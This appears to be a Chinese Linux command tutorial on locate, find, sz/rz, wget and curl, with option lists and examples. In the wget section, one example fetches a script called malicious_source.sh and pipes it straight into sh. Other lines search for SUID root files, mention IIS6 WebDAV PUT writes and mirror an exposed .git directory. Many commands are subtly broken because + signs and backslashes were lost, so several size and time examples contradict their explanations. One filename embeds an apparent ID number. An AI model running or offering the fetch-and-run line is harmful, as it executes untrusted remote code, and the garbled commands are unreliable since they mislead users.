[TOC]
0x00 快速入门
命令脑图:
WeiyiGeek.locte与find脑图
0x01 文件查找
locate 命令
描述:在后台数据库中按文件名搜索,速度更快,通过/var/lib/mlocate内数据库记载找出用户输入的关键字文件名,它的更新速率默认是一天一次,Linux版本的不同名字不同Mac下在/var/db/locate.datebase; 根据距上次更新后更改的文件数目多少,速度不同并且只能通过文件名来搜索
WeiyiGeek.locate查找原理图
基础实例L
代码语言:javascript复制#1.Centos 命令强制更新数据库 /var/lib/mlocate/mlocate.db 文件
updatedb
sudo /usr/libexec/locate.updatedb #Mac 下是
#2.查询命令
locate [filename]
#3.遵守/etc/updatedb.conf配置文件里的筛选规则,所以即使你更新了数据库也不一定能locate到所要寻找的文件
PRUNE_BIND_MOUNTS = "yes" #开启搜索限制
PRUNEFS = "afs udf" #搜索时不搜索的文件系统
PRUNENAMES = ".git .hg" #搜索时不搜索的文件名
PRUNEPATHS = "/afs /tmp" #搜索时不搜索的路径
WeiyiGeek.设置搜寻参数
find 命令 - Linux 高级文件目录查询命令
描述:是Linux中最常用搜索文件或者目录的命令,十分强大能从各个维度方面进行搜寻;
代码语言:javascript复制#基于语法:
find【搜索范围】【搜索条件】
#参数
-name 按照文件名搜索 #可采用通配符
-iname 文件名不区分大小写
-regex "PATTERN" 通过正则查询
-user
-group
-uid
-gid
-nouser : 查找没有属主的文件
-nogroup :查找没有属组的文件
-type f/d/l/s(套接字)/b/c(字符设备)/p(管道设备) #查询是文件还是目录
-a / o / and / ! #组合条件
-perm -/ MODE(u,g,o) #指定权限
-atime(天)/-amin(分) #访问文件的时间
-ctime/-cmin #改变文件属性的时间
-mtime/-mmin #修改文件内容的时间
-size #文件大小
-newer # 列出被改参数指定的文件还要新的文件名称;
# 动作Active
-print #默认处理动作,显示至屏幕
-ls #类似于对查找的文件执行ls -l命令
-empty #只对空目录进行限制
-delete #删除查找到文件
-fls /tmp/test.log #存入ls -aihl 格式的到文件
-exec COMMAND {} ; # 或者将; 替换为
-ok COMMAND {} ; # 或者将; 替换为
#find使用Linux中的通配符是在系统当中搜索符合条件的文件名
#通配符是完全匹配的
* 匹配任意内容(任意多个字符)
? 匹配任意一个字符
[] 匹配任意一个中括号内的字符 x[ab]->xa或者xb
[-] 匹配中括号中任意一个字符,-代表一个范围 例如,[a-z]代表匹配一个小写字母
[^] 逻辑非,表示匹配不是中括号内的一个字符 例如[^0-9]代表匹配一个不是数字的字符
#其他参数:
-print0 : 不换行打印find的结果,结果之间采用空格进行分割;
-path : 过滤指定目录
-prune : 表示过滤指定子目录
-mindepth,-maxdepth : 设置层级目录
案例示例:
代码语言:javascript复制#示例0.可以查看当前目录所有嵌套的文件
find .
find . | grep .txt #使用管道符
#示例1.通过指定文件名称进行搜寻
find / -name 文件名.db *.git
find / -name "ab[cd]" //匹配abc或abd
find / -iname SShd_config #不区分大小查询
#示例2.按文件类型搜寻
find . -type f #只想看到文件
find . -type d #想看到目录
find / -type l -ls # 查找软连接及其指向:
#示例3.按照所有者来搜索
find /root -user root #是找root目录下所有者为root的文件
find /root -nonuser #是找root目录下没有所有者的文件
find / -nogroup -print #查找不属于任何用户组的文件:
#示例4.按照权限搜寻
find / -perm -o=w
find / -perm 7000
find / -uid 0 -perm -4000 #使用 uid 查找对应的程序 SUID
find / -user root -perm -4000 -print #查找 SUID root 文件
find / -group root -perm -2000 -print #查找 SGID root 文件
#示例5.利用组合条件进行搜寻(多条件查询and/or)
find / -perm -4000 -o -perm -2000 -print #查找 为 SUID 或者 为SGID 的文件:
find / ( -not -user root -a -not -name 'fstab' ) -ls #找出tmp目录下,所属主不是root且文件名不是fstab的文件
#示例6.按照时间来搜索
find 【搜索范围】 -(?)time ( /-)时间
find /root -mtime 10 #是查找十天前修改的文件
find /root -mtime -10 #是查找十天内修改的文件
find /root -mtime -0.5 #是查找0.5天内修改的文件
find /root -mtime 10 #是查找第十天修改的文件
#示例7.按照大小来搜索
find 【搜索范围】-size ( /-) *(k/M) #小写k是kB,大写M是MB
find /root -size 10k #是查找root目录下大小大于10kB的文件
find /root -size 10k -o -size 10k #是查找root目录下大小大于或者等于10kB的文件
find /root -size 20k -a -size -50k #查找20~50kB大小的文件
find /root -size -20k -o -size 50 # k查找小于20或者大于50kB的文件
#示例8.按照i节点来搜索
find 【搜索范围】-inum 【-/ i节点号】 #注意下面括号之间有空格
find / ( -inum 4000000000 -a -inum -4026532147 ) -l #搜寻节点号大于400000000且小于4026532147
find / ( -inum 4000000000 -a -not -inum -4026532147 ) -l #搜寻节点号大于400000000且不下于4026532147
#示例9.-exec/-ok 命令 {} ;用来继续处理搜索到的文件(非常重要)
find /root -size 20k -a -size -50k -exec ls -lh {} ; #查找20~50kB的文件,并列出详细信息
find ./ -name "*****" -exec rm -f {} ; #其中'{}'代表找到的文件,删除满足条件的文件或者目录
find . -type f -exec ls -l '{}' ';'
find . mtime 1 -exec wc -l {} ;
6 ./.nvm/versions/node/v11.12.0/lib/node_modules/pm2/node_modules/pm2-axon-rpc/.travis.yml
find . cmin -5 -ok mv {} {}.new ;
find /tmp -nogroup -ok chown root:nobaby {} ; #将查询到的文件所属主和组进行更改
find / -perm 7000 -exec ls {}; # 因为在;有特殊意义则使用来转义
find . -name *410164689* -exec cp {} f:/sfz/41/1327/1996/411327199612020168.jpg ;
#示例10.高阶利用
find /root -name ding*.sh -delete #删除找到的文件
find /root -name ding*y -fls www.txt && cat www.txt #找到文件以长连接格式存入到文件中
139002 4 -rwxr-xr-x 1 root root 994 May 13 22:40 /root/dingding.py
#示例11.不换行显示查找结果
find . -type f -name "*.yaml" -print # 换行输出
find . -type f -name "*.log" -print0 # 不换输出,空格分隔
./var/lib/docker/overlay2/716be24950255cd6668ac1ddbb662f2543d7a8bd6a5feb34d74f3d108ae3262b/diff/usr/lib/node_modules/npm/node_modules/socks/yarn-error.log ./var/log/boot.log ./var/log/tuned/tuned.log
#示例12.找出/app/lv/xinghuo/下48小时的日志并压缩
find /app/lv/xinghuo/ -mtime 1 -name "itmweb.log_2017-*.log" -exec gzip {} ;
find /app/lv/xinghuo/ -mtime 15 -name "host-manager*.gz" -exec rm -rf {} ;
#示例13.该删除文件、目录下的所有空目录(清空回收站还是不错的)
# 删除回收站
find ~/.trash -delete
# 删除当前目录下的所有文件
$find . -type f -delete
# 删除空目录以及指定路径下的空目录
$find . -type d -empty -delete
$find ~/.trash -type d -delete
# 实例14.列出/etc目录中文件日期比/etc/passwd还新的文件
> find /etc -newer /etc/passwd
/etc
/etc/shadow
/etc/rc2.d
/etc/rc2.d/S01ssh
# 实例15.查找当前目录下的tomcat文件以及在当前文件下排除 BAK 目录(子目录)中的jpg文件(排除多个目录)
find / -name "*tomcat.txt" -maxdepth 1 -print
find . -path "*/BAK" -prune -o -type f -name *.jpg > /tmp/2019.txt
find . -path "./code" -prune -o -name "*.txt" -print # 在当前目录除code之外的子目录内搜索 txt文件
find . (-path "./code" -o -path "./code2" ) -prune -o -name "*.txt" -print # 在当前目录及除code和code2之外的子目录中查找txt文件
# 实例16.值得学习-exec参数执行查找后的相应文件处理结尾可以采用` `来替换`;`
find . -type f -exec ls -alh {} && echo {}
# -rw------- 1 root root 322M Feb 24 13:31 ./fanal-3744861088
# 示例17.遍历/tmp目录下的多个图片格式,并将其路径与后缀进行多次替换。
for i in $(find /tmp -name *.png -o -name *.jpg -o -name *.jpeg -o -name *.tiff); do img1=${i/.png/.webp}; echo ${img1/image/convert}; done
/tmp/convert/1.jpg
/tmp/convert/2.webp
0x02 文件上传下载
sz 与 rz 命令
描述:在debian系列中采用sz和rz命令进行下载或者上传文件到服务器中;
代码语言:javascript复制sz remote文件 #下载linux上的文件到本地(debain系列采用)
rz local文件 #上传本地文件到Linux上
wget 命令
描述:用来从指定的URL下载文件,wget非常稳定,它在带宽很窄的情况下和不稳定网络中有很强的适应性,如果是由于网络的原因下载失败,wget会不断的尝试,直到整个文件下载完毕。 如果是服务器打断下载过程,它会再次联到服务器上从停止的地方继续下载,这对从那些限定了链接时间的服务器上下载大文件非常有
代码语言:javascript复制用法: wget [选项]... [URL]...
Options:长选项所必须的参数在使用短选项时也是必须的
#启动:
-b, --background 启动后转入后台。
-e, --execute=COMMAND 运行一个“.wgetrc”风格的命令。
#日志和输入文件:
-o, --output-file=FILE 将日志信息写入 FILE。
-a, --append-output=FILE 将信息添加至 FILE。
-d, --debug 打印大量调试信息。
-q, --quiet 安静模式 (无信息输出)。
-v, --verbose 详尽的输出 (此为默认值)。
-nv, --no-verbose 关闭详尽输出,但不进入安静模式。
-i, --input-file=FILE 下载本地或外部 FILE 中的 URLs。
-F, --force-html 把输入文件当成 HTML 文件。
-B, --base=URL 解析与 URL 相关的HTML 输入文件 (由 -i -F 选项指定)。
--config=FILE Specify config file to use.
#下载:
-t, --tries=NUMBER 设置重试次数为 NUMBER (0 代表无限制)。
--retry-connrefused 即使拒绝连接也是重试。
-O, --output-document=FILE 将文档写入 FILE。
-nc, --no-clobber skip downloads that would download toexisting files (overwriting them).
-c, --continue 断点续传下载文件。(网络较差的时候推荐使用)
--progress=TYPE 选择进度条类型。
-N, --timestamping 只获取比本地文件新的文件。
--no-use-server-timestamps 不用服务器上的时间戳来设置本地文件。
-S, --server-response 打印服务器响应。
--spider 不下载任何文件。
-T, --timeout=SECONDS 将所有超时设为 SECONDS 秒。
--dns-timeout=SECS 设置 DNS 查寻超时为 SECS 秒。
--connect-timeout=SECS 设置连接超时为 SECS 秒。
--read-timeout=SECS 设置读取超时为 SECS 秒。
-w, --wait=SECONDS 等待间隔为 SECONDS 秒。
--waitretry=SECONDS 在获取文件的重试期间等待 1..SECONDS 秒。
--random-wait 获取多个文件时,每次随机等待间隔0.5*WAIT...1.5*WAIT 秒。
--no-proxy 禁止使用代理。
-Q, --quota=NUMBER 设置获取配额为 NUMBER 字节。
--bind-address=ADDRESS 绑定至本地主机上的 ADDRESS (主机名或是 IP)。
--limit-rate=RATE 限制下载速率为 RATE。
--no-dns-cache 关闭 DNS 查寻缓存。
--restrict-file-names=OS 限定文件名中的字符为 OS 允许的字符。
--ignore-case 匹配文件/目录时忽略大小写。
-4, --inet4-only 仅连接至 IPv4 地址。
-6, --inet6-only 仅连接至 IPv6 地址。
--prefer-family=FAMILY 首先连接至指定协议的地址FAMILY 为 IPv6,IPv4 或是 none。
--user=USER 将 ftp 和 http 的用户名均设置为 USER。
--password=PASS 将 ftp 和 http 的密码均设置为 PASS。
--ask-password 提示输入密码。
--no-iri 关闭 IRI 支持。
--local-encoding=ENC IRI (国际化资源标识符) 使用 ENC 作为本地编码。
--remote-encoding=ENC 使用 ENC 作为默认远程编码。
--unlink remove file before clobber.
#目录:
-nd, --no-directories 不创建目录。
-x, --force-directories 强制创建目录。
-nH, --no-host-directories 不要创建主目录。
--protocol-directories 在目录中使用协议名称。
-P, --directory-prefix=PREFIX 以设置PREFIX/... 保存文件
--cut-dirs=NUMBER 忽略远程目录中 NUMBER 个目录层。
#HTTP 选项:
--http-user=USER 设置 http 用户名为 USER。
--http-password=PASS 设置 http 密码为 PASS。
--no-cache 不在服务器上缓存数据。
--default-page=NAME 改变默认页(默认页通常是“index.html”)。
-E, --adjust-extension 以合适的扩展名保存 HTML/CSS 文档。
--ignore-length 忽略头部的‘Content-Length’区域。
--header=STRING 在头部插入 STRING。
--max-redirect 每页所允许的最大重定向。
--proxy-user=USER 使用 USER 作为代理用户名。
--proxy-password=PASS 使用 PASS 作为代理密码。
--referer=URL 在 HTTP 请求头包含‘Referer: URL’。
--save-headers 将 HTTP 头保存至文件。
-U, --user-agent=AGENT 标识为 AGENT 而不是 Wget/VERSION。
--no-http-keep-alive 禁用 HTTP keep-alive (永久连接)。
--no-cookies 不使用 cookies。
--load-cookies=FILE 会话开始前从 FILE 中载入 cookies。
--save-cookies=FILE 会话结束后保存 cookies 至 FILE。
--keep-session-cookies 载入并保存会话 (非永久) cookies。
--post-data=STRING 使用 POST 方式;把 STRING 作为数据发送。
--post-file=FILE 使用 POST 方式;发送 FILE 内容。
--content-disposition 当选中本地文件名时允许 Content-Disposition 头部 (尚在实验)。
--auth-no-challenge 发送不含服务器询问的首次等待的基本 HTTP 验证信息。
#HTTPS (SSL/TLS) 选项:
--secure-protocol=PR 选择安全协议,可以是 auto、SSLv2、SSLv3 或是 TLSv1 中的一个。
--no-check-certificate 不要验证服务器的证书。
--certificate=FILE 客户端证书文件。
--certificate-type=TYPE 客户端证书类型,PEM 或 DER。
--private-key=FILE 私钥文件。
--private-key-type=TYPE 私钥文件类型,PEM 或 DER。
--ca-certificate=FILE 带有一组 CA 认证的文件。
--ca-directory=DIR 保存 CA 认证的哈希列表的目录。
--random-file=FILE 带有生成 SSL PRNG 的随机数据的文件。
--egd-file=FILE 用于命名带有随机数据的 EGD 套接字的文件。
#FTP 选项:
--ftp-user=USER 设置 ftp 用户名为 USER。
--ftp-password=PASS 设置 ftp 密码为 PASS。
--no-remove-listing 不要删除‘.listing’文件。
--no-glob 不在 FTP 文件名中使用通配符展开。
--no-passive-ftp 禁用“passive”传输模式。
--retr-symlinks 递归目录时,获取链接的文件 (而非目录)。
#递归下载:
-r, --recursive 指定递归下载。
-l, --level=NUMBER 最大递归深度 (inf 或 0 代表无限制,即全部下载)。
--delete-after 下载完成后删除本地文件。
-k, --convert-links 让下载得到的 HTML 或 CSS 中的链接指向本地文件。
-K, --backup-converted 在转换文件 X 前先将它备份为 X.orig。
-m, --mirror -N -r -l inf --no-remove-listing 的缩写形式。
-p, --page-requisites 下载所有用于显示 HTML 页面的图片之类的元素。
--strict-comments 用严格方式 (SGML) 处理 HTML 注释。
#递归接受/拒绝:
-A, --accept=LIST 逗号分隔的可接受的扩展名列表。
-R, --reject=LIST 逗号分隔的要拒绝的扩展名列表。
-D, --domains=LIST 逗号分隔的可接受的域列表
--exclude-domains=LIST 逗号分隔的要拒绝的域列表
--follow-ftp 跟踪 HTML 文档中的 FTP 链接。
--follow-tags=LIST 逗号分隔的跟踪的 HTML 标识列表。
--ignore-tags=LIST 逗号分隔的忽略的 HTML 标识列表。
-H, --span-hosts 递归时转向外部主机。
-L, --relative 只跟踪有关系的链接。
-I, --include-directories=LIST 允许目录的列表。
--trust-server-names use the name specified by the redirection url last component.
-X, --exclude-directories=LIST 排除目录的列表。
-np, --no-parent 不追溯至父目录。
实际案例:
代码语言:javascript复制#示例1.下载文件并将重命名到自定位置
wget http://baidu.com/malicious_source.sh -O /tmp/test.sh -o xx.log #-O 重命名下载的文件 记录下载日志方法:使用小写字母o
wget http://baidu.com/malicious_source.sh -P /tmp/ #下载的文件到指定目录
wget -i filelist.txt #下载多个文件指定file
#模拟在浏览器下下载有的网站不允许客户在非浏览器环境下下载。使用--user-agent来设置
wget --user-agent="Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16" http://www.linuxde.net/testfile.zip
#示例2.直接下载恶意的源文件,然后使用sh直接执行该脚本。
wget http://baidu.com/malicious_source.sh -O- | sh
wget http://192.168.8.13/article/view.asp -O- | cat #输出文件到标准输出,然后用cat打开.
#示例3.FTP匿名下载
wget ftp://192.168.1.254/document/test.zip
wget --user=admin --password=password ftp://192.168.1.254/document/test.zip #对于FTP账户密码认证
#示例4.#对于HTTPS站点进行下载,下载'dir'目录下的所有gz文件
# -np 没有父目录
# -nd 不要构建本地目录结构
# --accept=gz 只下载gz文件
wget -r -np -nd --accept=gz --no-check-certificate https://www.xxx.com/dir/ --http-user=username --http-password=password
wget -r -np -nd http://tel.mirrors.163.com/centos/6.4/os/x86_64/ # 下载 http://tel.mirrors.163.com/centos/6.4/os/x86_64/ 目录中的所有文件
#示例5.下载一个网站的本地镜像 与 Teleport Pro 相似,断点下载
wget -c -r --level=1 -k -p -np http://docs.Python.org/2/tutorial/index.html
wget --mirror -p --convert-links -P ./LOCAL-DIR WEBSITE-URL #当你要下载一个完整站点并实现本地浏览的时候,
WeiyiGeek.简单示例
代码语言:javascript复制#示例6.连接测试与Response请求查看
wget --spider URL #测试下载连接,正确返回 200 OK,否则错误
wget -S http://192.168.8.13/article/view.asp --spider #打印Response-Head信息
wget -S http://baidu.com/index.html --spider -o test1.log
# 已发出 HTTP 请求,正在等待回应...
# HTTP/1.1 200 OK
# Date: Thu, 27 Jun 2019 08:39:37 GMT
# Server: Apache
# Last-Modified: Sat, 31 Dec 2011 09:54:00 GMT
# ETag: "1cdb-4b56054245e00"
# Accept-Ranges: bytes
# Content-Length: 7387
# Cache-Control: max-age=86400
# Expires: Fri, 28 Jun 2019 08:39:37 GMT
# Connection: Keep-Alive
# Content-Type: text/html
# 长度:7387 (7.2K) [text/html]
wget --tries=40 --reject=gif URL #增加重试次数(当下载大文件的时候)与下载排出过滤
wget -r -A.pdf http://192.168.1.10/ #下载一个网站的指定格式文件,比如下面下载网站中所有的pdf
#示例精简利用
wget --mirror --include-directories=/.git http://xxx.com/.git #防止.git目录被下载(值得借鉴),直接下载存在.git目录:>
wget --spider DOWNLOAD-URL #使用--spider试图做计划下载时候,需要先检查一下下载链接是否有效。
wget --limit-rate=300k -c -b URL #限速下载与断点续传(网络中断的时候非常有用)/ 后台下载
wger -Q5m -i filelist.txt #限制下载大于5MB的文件,只要在递归下载时才有效;
WeiyiGeek.spider
示例7.代理设置(实验环境:ubuntu 12.04 LTS goagent
)
# 方式1.在环境变量中设置代理
export http_proxy=http://127.0.0.1:8087
# 方式2.使用配置文件 /etc/wgetrc 或者将其中与proxy有关的几行复制到~/.wgetrc
# You can set the default proxies for Wget to use for http, https, and ftp.
# They will override the value in the environment.
https_proxy = http://127.0.0.1:8087/
http_proxy = http://127.0.0.1:8087/
ftp_proxy = http://127.0.0.1:8087/
# If you do not want to use proxy at all, set this to off. (开启和断开代理)
use_proxy = on
# 方式3.wget本身没有专门设置代理的命令行参数,但是有一个"-e"参数,可以在命令行上指定一个原本出现在".wgetrc"中的设置。
# 该方式对于使用一个临时代理尤为方便。
wget -c -r -np -k -L -p -e "http_proxy=http://127.0.0.1:8087" http://www.subversion.org.cn/svnbook/1.4/
注: 如果是https则参数为:-e "https_proxy=http://127.0.0.1:8087"
注: 使用https时如果想要忽略服务器端证书的校验,可以使用 -k 参数。
curl 命令
描述:利用URL规则在命令行下工作的文件传输工具,它支持文件的上传和下载,所以是综合传输工具,但按传统,习惯称curl为下载工具。 作为一款强力工具,curl支持包括HTTP、HTTPS、FTP等众多协议,还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。做网页处理流程和数据检索自动化,curl可以祝一臂之力。
语法参数:
代码语言:javascript复制curl(选项)(参数)
#参数
-a/--append 上传文件时,附加到目标文件
-A/--user-agent <string> 设置用户代理发送给服务器
-anyauth 可以使用“任何”身份验证方法
-b/--cookie <name=string/file> cookie字符串或文件读取位置
--basic 使用HTTP基本验证
-B/--use-ascii 使用ASCII /文本传输
-c/--cookie-jar <file> 操作结束后把cookie写入到这个文件中
-C/--continue-at <offset> 断点续转
-d/--data <data> HTTP POST方式传送数据
--data-ascii <data> 以ascii的方式post数据
--data-binary <data> 以二进制的方式post数据
--negotiate 使用HTTP身份验证
--digest 使用数字身份验证
--disable-eprt 禁止使用EPRT或LPRT
--disable-epsv 禁止使用EPSV
@data.json 需要上传请求或者文件时需要使用
-D/--dump-header <file> 把header信息写入到该文件中
--egd-file <file> 为随机数据(SSL)设置EGD socket路径
--tcp-nodelay 使用TCP_NODELAY选项
-e/--referer 来源网址
-E/--cert <cert[:passwd]> 客户端证书文件和密码 (SSL)
--cert-type <type> 证书文件类型 (DER/PEM/ENG) (SSL)
--key <key> 私钥文件名 (SSL)
--key-type <type> 私钥文件类型 (DER/PEM/ENG) (SSL)
--pass <pass> 私钥密码 (SSL)
--engine <eng> 加密引擎使用 (SSL). "--engine list" for list
--cacert <file> CA证书 (SSL)
--capath <directory> CA目录 (made using c_rehash) to verify peer against (SSL)
--ciphers <list> SSL密码
--compressed 要求返回是压缩的形势 (using deflate or gzip)
--connect-timeout <seconds> 设置最大请求时间
--create-dirs 建立本地目录的目录层次结构
--crlf 上传是把LF转变成CRLF
-f/--fail 连接失败时不显示http错误
--ftp-create-dirs 如果远程目录不存在,创建远程目录
--ftp-method [multicwd/nocwd/singlecwd] 控制CWD的使用
--ftp-pasv 使用 PASV/EPSV 代替端口
--ftp-skip-pasv-ip 使用PASV的时候,忽略该IP地址
--ftp-ssl 尝试用 SSL/TLS 来进行ftp数据传输
--ftp-ssl-reqd 要求用 SSL/TLS 来进行ftp数据传输
-F/--form <name=content> 模拟http表单提交数据
--form-string <name=string> 模拟http表单提交数据
-g/--globoff 禁用网址序列和范围使用{}和[]
-G/--get 以get的方式来发送数据
-H/--header <line> 自定义头信息传递给服务器
--ignore-content-length 忽略的HTTP头信息的长度
-i/--include 输出时包括protocol头信息
-I/--head 只显示请求头信息
-j/--junk-session-cookies 读取文件进忽略session cookie
--interface <interface> 使用指定网络接口/地址
--krb4 <level> 使用指定安全级别的krb4
-k/--insecure 允许不使用证书到SSL站点
-K/--config 指定的配置文件读取
-l/--list-only 列出ftp目录下的文件名称
--limit-rate <rate> 设置传输速度
--local-port<NUM> 强制使用本地端口号
-m/--max-time <seconds> 设置最大传输时间(数据传输的最大允许时间)
--max-redirs <num> 设置最大读取的目录数
--max-filesize <bytes> 设置最大下载的文件总量
-M/--manual 显示全手动
-n/--netrc 从netrc文件中读取用户名和密码
--netrc-optional 使用 .netrc 或者 URL来覆盖-n
--ntlm 使用 HTTP NTLM 身份验证
-N/--no-buffer 禁用缓冲输出
-o/--output 把输出写到该文件中
-O/--remote-name 把输出写到该文件中,保留远程文件的文件名
-p/--proxytunnel 使用HTTP代理
--proxy-anyauth 选择任一代理身份验证方法
--proxy-basic 在代理上使用基本身份验证
--proxy-digest 在代理上使用数字身份验证
--proxy-ntlm 在代理上使用ntlm身份验证
-P/--ftp-port <address> 使用端口地址,而不是使用PASV
-q 作为第一个参数,关闭 .curlrc
-Q/--quote <cmd> 文件传输前,发送命令到服务器
-r/--range <range> 检索来自HTTP/1.1或FTP服务器字节范围
--range-file 读取(SSL)的随机文件
-R/--remote-time 在本地生成文件时,保留远程文件时间
--retry <num> 传输出现问题时,重试的次数
--retry-delay <seconds> 传输出现问题时,设置重试间隔时间
--retry-max-time <seconds> 传输出现问题时,设置最大重试时间
-s/--silent 静默模式。不输出任何东西
-S/--show-error 显示错误
--socks4 <host[:port]> 用socks4代理给定主机和端口,此参数会覆盖“-x”参数;
--socks5 <host[:port]> 用socks5代理给定主机和端口,此参数会覆盖“-x”参数;
--stderr <file>
-t/--telnet-option <OPT=val> Telnet选项设置
--trace <file> 对指定文件进行debug
--trace-ascii <file> Like --跟踪但没有hex输出
--trace-time 跟踪/详细输出时,添加时间戳
-T/--upload-file <file> 上传文件
--url <URL> Spet URL to work with
-u/--user <user[:password]> 设置服务器的用户和密码
-U/--proxy-user <user[:password]> 设置代理用户名和密码
-w/--write-out [format] 什么输出完成后
-x/--proxy <host[:port]> 在给定的端口上使用HTTP代理
-X/--request <command> 指定什么命令
-y/--speed-time 放弃限速所要的时间,默认为30
-Y/--speed-limit 停止传输速度的限制,速度时间
实际案例:
代码语言:javascript复制#示例1.curl命令可以用来执行下载、发送各种HTTP请求,指定HTTP头部等操作
curl URL --silent #不显示进度信息使用
curl -s -o aaa.jpg http://blog.51yip.com/wp-content/uploads/2010/09/compare_varnish.jpg # -s与--silent效果相同
#示例2. 使用选项-O将下载的数据写入到文件,必须使用文件的绝对地址
curl http://man.linuxde.net/text.iso --silent -O
# 用-O(大写的),后面的url要具体到某个文件,不然抓不下来。我们还可以用正则来抓取东西
curl -O http://blog.51yip.com/wp-content/uploads/2010/09/compare_varnish.jpg
curl -O http://blog.51yip.com/wp-content/uploads/2010/[0-9][0-9]/aaaaa.jpg
#选项-o将下载数据写入到指定名称的文件中,并使用--progress显示进度条:
curl http://man.linuxde.net/test.iso -o filename.iso --progress
######################################### 100.0%
#示例3. 断点续传从特定的文件偏移处继续下载,它可以通过指定一个便宜量来下载部分文件
curl -C 偏移量 URL/File #偏移量是以字节为单位的整数,如果让curl自动推断出正确的续传位置使用-C -:
curl -C -URL
curl -C -O http://blog.51yip.com/wp-content/uploads/2010/09/compare_varnish.jpg
#分段下载
curl -r 0-100 -o img.part1 http://www.baidu.com/logo.png
curl -r 100- -o img.part1 http://www.baidu.com/logo.png
#示例4.常用选项
curl URL --user-agent "Mozilla/5.0" #或者curl URL -A "Mozilla/5.0" 检查用户代理
curl --referer http://www.google.com http://man.linuxde.net #指定参照页字符串:用来表示用户是从哪个页面到达当前页面的
curl URL --limit-rate 50k #限制curl的下载速度: 命令中用k(千字节)和m(兆字节)指定下载速度限制。
curl URL --max-filesize bytes #指定可下载的最大文件大小: 文件大小超出限制命令则返回一个非0退出码否则返回0。
curl -f http://blog.51yip.com/asdf #显示抓取错误
# curl: (22) The requested URL returned error: 404
#示例5.设置头信息与打印返回的头信息
curl -H "Host:man.linuxde.net" -H "accept-language:zh-cn" URL #使用-H"头部信息" 传递多个头部信息
curl -I http://man.linuxde.net #通过-I或者-head可以只打印出HTTP头部信息:
curl -I http://man.linuxde.net 2>/dev/null | head -1 #打印出HTTP头部的状态码信息,不显示连接信息
#HTTP/1.1 200 OK
#示例6.cookie与代理设置
curl http://man.linuxde.net --cookie "user=root;pass=123456" #设置多个cookie使用分号分隔:
curl URL --cookie-jar cookie_file # 将cookie另存为一个文件,使用--cookie-jar选项:
curl -x 24.10.28.84:32779 -o home.html http://blog.51yip.com #代理IP请求
#示例7.登录认证
#完成HTTP或者FTP的认证,可以指定密码,也可以不指定密码在后续操作中输入密码:
curl -u user:pwd http://man.linuxde.net
curl -u user http://man.linuxde.net
#模拟表单信息,模拟登录,保存cookie信息,-F就是网页中字段名,使用cookie文件
curl -c ./cookie_c.txt -F log=aaaa -F pwd=****** http://blog.51yip.com/wp-login.php
curl -b ./cookie_c.txt http://blog.51yip.com/wp-admin
#保存Header头信息与模拟登录
curl -D Cque.dump --silent http://www.cque.edu.cn >>/dev/null
curl -D ./cookie_D.txt -F log=aaaa -F pwd=****** http://blog.51yip.com/wp-login.php
#示例8.FTP上传下载文件
curl -u 用户名:密码 -O ftp://blog.51yip.com/demo/curtain/bbstudy_files/style.css # ftp下载文件
curl -T test.sql ftp://用户名:密码@ip:port/demo/curtain/bbstudy_files/ #通过ftp上传
WeiyiGeek.示例解决
代码语言:javascript复制#示例9.补充请求方法
#指定方法进行与服务器连接(还有:这里用了Put的方法,就是IIS6.0的Dav的写如漏洞)
curl -X PUT "http://**.**.**.**/1123123.jsp/" -d "title=comewords&content=articleConten" #常规形式
curl -X POST "http://**.**.**.**/1123123.jsp/" -H "Content-Type:application/json" -d '{"title":"comewords","content":"articleContent"}'#JSON
curl -X POST -H "Content-Type: application/json" "http://**.**.**.**/1123123.jsp/" -d@data.json
#示例10.文件上传文件
curl -F "file=@/Users/fungleo/Downloads/401.png" -H "token: 222" -v "http://localhost:8000/api/v1/upimg"
#示例11.内置函数获取网站的响应码:获取http_code / -s 去掉所有的状态;
$ curl --connect-timeout 2 -m 2 -s -I http://172.20.33.96:8080
$ curl -m 5 -s -w %{http_code} http://www.cqsdzy.com/index.html -o /dev/null/span;echo " "
$ curl -I -s -o /dev/null -w "%{http_code} n" http://weiyigeek.top
#网站访问速度测试
$ curl -o /dev/null -s -w "DNS 解析时间: "%{time_namelookup}"nTCP 建立连接时间: "%{time_connect}"nC/S 传输时间: "%{time_starttransfer}"n完整耗时: "%{time_total}"n下载速度(bytes): "%{speed_download}"n" "http://weiyigeek.top/"
$ curl -o /dev/null -s -w "DNS解析耗时: "%{time_namelookup}"s_重定向耗时: "%{time_redirect}"s_TCP连接耗时: "%{time_connect}"s_请求准备耗时: "%{time_pretransfer}"s_应用连接耗时: "%{time_appconnect}"s_传输耗时: "%{time_starttransfer}"s_下载速度: "%{speed_download}"byte/s_整体请求响应耗时: "%{time_total}"s" "http://weiyigeek.top/"
DNS 解析时间: 0.255072
TCP 建立连接时间: 1.471698
C/S 传输时间: 1.688269
合计用时: 7.808575
下载速度(bytes): 7245.000
cat > fmt.txt <<END
n
Response Time for: %{url_effective}nn
DNS Lookup Time:tt%{time_namelookup}sn
Redirection Time:tt%{time_redirect}sn
Connection Time:tt%{time_connect}sn
App Connection Time:tt%{time_appconnect}sn
Pre-transfer Time:tt%{time_pretransfer}sn
Start-transfer Time:tt%{time_starttransfer}snn
Total Time:ttt%{time_total}sn
END
# 参数解释
# url_effective: 执行完地址重定向之后的最终 URL;
# time_namelookup: 从请求开始至完成名称解析所花的时间,单位为秒,下同;
# time_redirect: 执行所有重定向所花的时间;
# time_connect: 从请求开始至建立 TCP 连接所花的时间;
# time_appconnect: 从请求开始至完成 SSL/SSH 握手所花的时间;
# time_pretransfer: 从请求开始至服务器准备传送文件所花的时间,包含了传送协商时间;
# time_starttransfer: 从请求开始至服务器准备传送第一个字节所花的时间;
# time_total: 完整耗时。
$ curl -L -s -w @fmt.txt -o /dev/null http://weiyigeek.top/
# Response Time for: http://weiyigeek.top/
# DNS Lookup Time: 0.127807s
# Redirection Time: 0.000000s
# Connection Time: 0.325320s
# App Connection Time: 0.000000s
# Pre-transfer Time: 0.325415s
# Start-transfer Time: 0.950616s
# Total Time: 2.736576s
WeiyiGeek.响应码
示例12.curl和wget指定ssl ca证书,openwrt下curl使用mbedtls校验ssl要安装ca-bundle
,wget使用libssl校验ssl要安装ca-certificates
,索性单独下载ca证书文件
# curl 和 wget 用配置文件指定ca证书
curl -k https://www.weiyigeek.top/cacert.pem -o /etc/ssl/certs/ca-certificates.crt
